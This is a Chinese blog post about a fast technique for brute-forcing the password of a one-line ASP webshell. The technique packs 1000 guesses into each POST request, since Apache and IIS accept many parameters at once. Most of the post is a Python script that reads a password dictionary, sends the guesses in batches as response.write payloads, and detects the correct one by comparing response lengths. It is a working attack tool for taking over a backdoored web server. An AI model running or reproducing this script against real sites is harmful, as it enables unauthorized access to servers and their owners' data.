Python安全工具之一句话密码爆破(秒破十万)

今天看到t00ls某版主发出的一个帖子,说一秒爆十万密码。

原理:

其原理就是apache和iis可以多参数提交,apache最多同时提交1000个参数,而iis据说可以提交5883个参数,那么就可以批量提交千个参数去判断哪个是一句话的密码,效率就比一个一个参数提交提高了千倍!

 

操作:

输入正常密码时,会显示。我们可以放多个看看。

 

 

大概的原理明白了,就开始写Python吧,代码先写出来讲讲

#!/usr/bin/python
#coding=utf-8
import requests
import time

if __name__ == '__main__':
    url = "http://127.0.0.1/1.asp"
    postdata={}
    password = open('d:\\pass.txt').read().split('\n')

    dics = len(password)/1000

    print("#当前字典变量个数为:%s" % str(len(password)))

    print("#字典被分割成%s" % str(dics))

    #print(password)

    # 下面建立错误密码的返回标识符
    post_test = {'test_pass_test': 'response.write("test!")'}
    res = requests.post(url, data=post_test)
    wrong_res = res.text

    for i in range(0, dics):
        new_group = []
        for k in range(i * 1000, (i + 1) * 1000):
            new_group.append(password[k])
            k += 1
        for each in new_group:
            postdata[each] = 'response.write("password is %s")' % each
        r = requests.post(url, data=postdata)
        print "#进行第 %s 组字典爆破" % str(i + 1)
        postdata.clear()
        i += 1
        print r.text
        if len(r.text) != len(wrong_res):
            break

 

思路:

1、读取字典密码,同时进行相关处理

2、将密码分割成1000个一份。

3、首先进行错误页面判断,然后开始爆破

posted @ 2018-12-29 16:12  daggerx  阅读(2477)  评论(0编辑  收藏  举报